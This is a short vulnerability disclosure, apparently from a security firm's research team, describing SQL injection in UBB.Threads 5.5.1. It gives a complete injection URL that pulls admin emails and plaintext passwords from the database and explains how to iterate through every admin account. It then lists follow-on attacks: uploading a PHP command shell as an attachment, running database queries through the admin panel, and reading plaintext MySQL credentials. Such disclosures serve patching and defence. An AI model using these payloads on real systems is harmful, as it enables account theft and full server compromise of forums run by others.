Infopop UBB.Threads Admin Credentials via SQL Injection

Discovered: 07-18-08
By: SecureState R&D Team (sasquatch)
www.securestate.com

Background:

SQL injection has previously been discovered (http://www.securityfocus.com/bid/14052/)

New Details:

UBBThreads is nice enough to encrypt/mask the regular users' passwords in the database, but stores the admin users'
passwords plaintext!

Vulnerable Versions:

Tested on version 5.5.1, others may be vulnerable

Admin Login SQL Injection

http://www.website.com/ubbthreads/viewmessage.php?Cat=&message=-99%20UNION%20SELECT%20null,email,password,0,0%20FROM%20admin_users%20WHERE%20id=1/*&status=N&box=received
++ Email is in From: field of forum post
++ Password is text body of post
++ Increment the "id" to obtain each admin's credentials (1, 2, 3, etc.)

Admin login:

http://www.website.com/Admin/login.php
$query = "SELECT * FROM admin_users WHERE email = '$email' AND password = '$password'";

Other Avenues for Attack:

++ Turn on file attachments via /ubbthreads/admin/editconfig.php?Cat= and then upload a php command shell as an
attachment to a post ;)
++ Query MySQL database via /ubbthreads/admin/dbcommand.php?Cat=
++ Get MySQL username/password (it is plaintext) - view HTML Source of /ubbthreads/admin/editconfig.php?Cat=
